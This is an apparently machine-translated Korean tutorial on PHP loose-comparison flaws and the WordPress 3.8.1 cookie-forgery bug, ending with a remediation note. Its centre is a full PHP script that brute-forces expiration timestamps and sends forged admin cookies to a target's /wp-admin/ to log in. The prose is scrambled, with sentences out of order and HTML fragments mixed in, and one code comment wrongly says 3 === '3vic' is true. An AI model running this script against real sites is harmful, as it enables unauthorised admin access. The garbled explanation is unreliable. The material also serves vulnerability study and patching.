PHP 약한 타이핑: WordPress 쿠키 위조

1 PHP 약한 유형

PHP는 약한 유형 언어이므로 다양한 사용 시나리오로 인해 변수가 자동으로 유형 변환을 거칩니다. . PHP에서는 == 및 을 사용하세요! = 동등판정시 ===, 를 이용해서 자동으로 형변환을 해준다! == 판단시 유형이 자동으로 변환되지 않습니다.

<span>1</span> <?<span>php
</span><span>2</span><span>$a</span> = 3<span>;
</span><span>3</span><span>$b</span> = '3vic'<span>;
</span><span>4</span><span>var_dump</span>(<span>$a</span> == <span>$b</span>);<span>//</span><span>true</span><span>5</span><span>var_dump</span>(<span>$a</span> != <span>$b</span>);<span>//</span><span>false</span><span>6</span><span>var_dump</span>(<span>$a</span> === <span>$b</span>);<span>//</span><span>true</span><span>7</span><span>var_dump</span>(<span>$a</span> !== <span>$b</span>);<span>//</span><span>false</span><span>8</span> ?>

참고: PHP에서 문자열을 정수로 변환할 때 숫자로 시작하면 이전 숫자('3vic' -> 3)로 변환됩니다. ). 숫자로 시작하지 않으면 0으로 변환됩니다('vic' -> 0)

2 WordPress 코드

• WordPress 3.8.1 및 WordPress 3.8.2 일부 코드 차이점

<span>1</span> <?<span>php
</span><span>2</span><span>//</span><span> WordPress 3.8.1</span><span>3</span><span>if</span> (<span>$hmac</span> != <span>$hash</span><span>) {}
</span><span>4</span><span>//</span><span> WordPress 3.8.2</span><span>5</span><span>if</span> ( hash_hmac('md5', <span>$hmac</span>, <span>$key</span>) !== hash_hmac('md5', <span>$hash</span>, <span>$key</span><span>) )  {}
</span><span>6</span> ?>

• 쿠키는

로 구성됩니다. 클라이언트 배경은 아래와 같이 쿠키 중 하나만 확인합니다.

wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|<span>1433403595</span>|cf50f3b50eed94dd0fdc3d3ea2c7bbb; path=/wp-admin; domain=www.test.ichunqiu; HttpOnly

쿠키 ​​이름이 wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91 형식인 경우 wordpress_ + md5(siteurl)인 경우 siteurl는 WordPress의 URL이고, 여기 웹사이트 주소가 있습니다. <code><span>http://www.test.ichunqiu</span>,http://www.test.ichunqiu<span>c47f4a97d0321c1980bb76fc00d1e78f</span>에 대해 md5를 암호화한 후,는

c47f4a97d0321c1980bb76fc00d1e78f, 다른 부분도 생략 가능합니다.

사용자 이름 만료 시간 입력 로그인 성공 후 서버가 클라이언트에 할당한 해시 값

对应变量	$username	$expiration	<span>$hmac</span>
cookies	admin	1433403595	cf50f3b50eed94dd0fdc3d3ea2c7bbb

해당 변수 td>	$username	$expiration	$hmac
쿠키 <span>1</span> <?<span>php </span><span>2</span><span>$key</span> = wp_hash(<span>$username</span> . <span>$pass_frag</span> . '|' . <span>$expiration</span>, <span>$scheme</span><span>); </span><span>3</span><span>$hash</span> = hash_hmac('md5', <span>$username</span> . '|' . <span>$expiration</span>, <span>$key</span><span>); </span><span>4</span><span>if</span> ( <span>$hmac</span> != <span>$hash</span><span> ) { </span><span>5</span> do_action('auth_cookie_bad_hash', <span>$cookie_elements</span><span>); </span><span>6</span><span>return</span><span>false</span><span>; </span><span>7</span> }	관리자	1433403595	cf50f3b50eed94dd0fdc3d3ea2c7bbb

$expiration분석 검증 로그인<span>$expiration </span>코드$hashwp- include/pluggable.php 543~549행

• 코드에 사용되는 변수 중 클라이언트 쿠키를 변경하여 제어할 수 있는 변수는
$username

사용자 이름,

$expiration 유효 기간이 있으며 사용자 이름은 고정되어 있으므로 <code>$hmac == $hash 만 제어 가능하므로 <code>$hmac 에서 변경할 수 있습니다 $ <span>$hash</span>을 변경하려면 만료 <code>$hmac 메서드를 사용하세요. if ( $hmac != $hash ) { PHP 해시와 결합 비교 결함<span>var_dump($hmac);die()</span>;워드프레스 분석<code>$hmac string '0'을 true로 만들 수 있는 가능성은 여러 가지가 있습니다. 문자열은 완전히 동일하거나 int 0이 0이고 </p>$hash<p>는 문자 세트

<span>1</span> <?<span>php
</span><span>2</span><span>var_dump</span>('0' == '0e156464513131');<span>//</span><span>true</span>

<🎜로 시작하는 문자열입니다. 클라이언트의 쿠키 >

값을 0으로 변경한 다음 위 줄에 <p>var_dump($hmac);die()<span>;를 작성합니다. 0e156464513131 인쇄물을 찾으려면 $hash <span>$hmac</span>의 결과는 wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|1433403595|0 대신 $hash 입니다. 코드는 다음과 같습니다.

은 10의 156464513131승으로 인식됩니다. 여전히 0이므로

0e로 시작하고 뒤에 숫자가 오면

$hmac

<span> 1</span> <?<span>php
</span><span> 2</span><span>/*</span><span> 3</span><span> 4</span><span>本脚本用于WordPress 3.8.1 的cookie伪造漏洞检测
</span><span> 5</span><span>传入两个值
</span><span> 6</span><span>  WordPress 的主页 $host
</span><span> 7</span><span>  管理员用户名     $root
</span><span> 8</span><span>*/</span><span> 9</span><span>header</span>("Content-type:text/html;charset=utf-8"<span>);
</span><span>10</span><span>11</span><span>$host</span> = 'http://xxx.xxx.xxx';<span>//</span><span>主页地址 结尾不带'/'</span><span>12</span><span>$root</span> = 'user';<span>//</span><span>管理员用户名</span><span>13</span><span>14</span><span>$url</span> = <span>$host</span>.'/wp-admin/';<span>//</span><span>后台管理地址    </span><span>15</span><span>$sitehash</span>=<span>md5</span>(<span>$host</span><span>); 
</span><span>16</span><span>17</span><span>echo</span> "\nWelcome\n\n"<span>;
</span><span>18</span><span>//</span><span>通过时间戳暴力破解cookie 实现伪造cookie</span><span>19</span><span>for</span>(<span>$i</span>=1500000000;<span>$i</span><1600000000;<span>$i</span>++<span>){
</span><span>20</span><span>$cookie</span> = "wordpress_".<span>$sitehash</span>."=".<span>$root</span>."|".<span>$i</span>."|0;";<span>//</span><span>组合构造cookie</span><span>21</span><span>$header</span> = <span>array</span><span>(
</span><span>22</span>        "Content-Type:application/x-www-form-urlencoded",
<span>23</span>       'User-Agent: Mozilla/4.0 (compatible; MSIE .0; Windows NT 6.1; Trident/4.0; SLCC2;)',
<span>24</span>       "Cookie:".<span>$cookie</span>,
<span>25</span><span>      );
</span><span>26</span><span>27</span><span>$curl</span> = curl_init(); <span>//</span><span> 启动一个CURL会话    </span><span>28</span>         curl_setopt(<span>$curl</span>, CURLOPT_URL, <span>$url</span>); <span>//</span><span> 要访问的地址</span><span>29</span>         curl_setopt(<span>$curl</span>, CURLOPT_FOLLOWLOCATION, 1); <span>//</span><span> 使用自动跳转    </span><span>30</span>         curl_setopt(<span>$curl</span>, CURLOPT_AUTOREFERER, 1); <span>//</span><span> 自动设置Referer    </span><span>31</span>         curl_setopt(<span>$curl</span>, CURLOPT_HTTPGET, <span>true</span>); <span>//</span><span> 发送一个常规的Post请求    </span><span>32</span>         curl_setopt(<span>$curl</span>, CURLOPT_HTTPHEADER, <span>$header</span>); <span>//</span><span> 读取上面所储存的Cookie信息         </span><span>33</span>         curl_setopt(<span>$curl</span>, CURLOPT_RETURNTRANSFER, 1); <span>//</span><span> 获取的信息以文件流的形式返回 </span><span>34</span>         curl_setopt(<span>$curl</span>, CURLOPT_HEADER, <span>false</span><span>);
</span><span>35</span>         curl_setopt(<span>$curl</span>, CURLOPT_HEADER, 0<span>);   
</span><span>36</span>         curl_setopt(<span>$curl</span>, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);<span>//</span><span>让curl自动选择版本</span><span>37</span><span>$tmpInfo</span> = curl_exec(<span>$curl</span>); <span>//</span><span> 执行操作</span><span>38</span><span>if</span> (curl_errno(<span>$curl</span><span>)) {    
</span><span>39</span><span>echo</span> 'Errno'.curl_error(<span>$curl</span><span>);    
</span><span>40</span><span>        }    
</span><span>41</span>         curl_close(<span>$curl</span>); <span>//</span><span> 关闭CURL会话
</span><span>42</span><span>43</span><span>        //匹配结果</span><span>44</span><span>if</span>(<span>strstr</span>(<span>$tmpInfo</span>,'我们准备了几个链接供您开始'<span>)){
</span><span>45</span><span>echo</span>  "\n".'success : '.<span>$cookie</span>."\n\n"<span>;
</span><span>46</span><span>break</span><span>;
</span><span>47</span>         }<span>else</span><span>{
</span><span>48</span><span>echo</span>  'fail : '.<span>$cookie</span>."\n"<span>;
</span><span>49</span><span>        }
</span><span>50</span><span>51</span><span>    }
</span><span>52</span> ?>    

의 값과 같습니다. '0'이므로 클라이언트의 쿠키를 다음과 같이 설정할 수 있습니다

. 그런 다음 만료 시간(현재 위치 1433403595)을 지속적으로 업데이트하여 은 0e로 시작하고 뒤에 모든 숫자가 따르므로 검증 및 통과가 가능합니다. 충돌이 성공했다고 가정하고, 브라우저의 쿠키를 수정하고 백엔드 주소에 직접 접근하여 백엔드에 로그인하는데 성공합니다. 3 테스트 스크립트 클라이언트 쿠키의 만료 시간 값을 변경하여 지속적으로 백그라운드로 로그인을 시도하여 쿠키 위조 로그인 백엔드를 달성하기 위해 배경에 들어갈 수 있는 시간입니다.

설명: 이론적으로 32비트 MD5 값은 다음으로 시작합니다. 0e 초기는

3억분의 1

정도이며, 악용 가능한 $expiration에 걸릴 확률은 극히 낮습니다. 5개 수정

PHP에서 사용되는 해시 비교 함수, 여기서 ==,

! =

이 각각

===

및

으로 변경되었습니다! == 또는 MD5를 사용하여 비교된 두 변수를 다시 암호화합니다. 학습 노트: http://ichunqiu.com/course/167 위 내용을 포함하여 PHP 약한 유형인 WordPress 쿠키 위조에 대해 소개합니다. PHP 튜토리얼에 관심이 있는 친구들에게 도움이 되기를 바랍니다.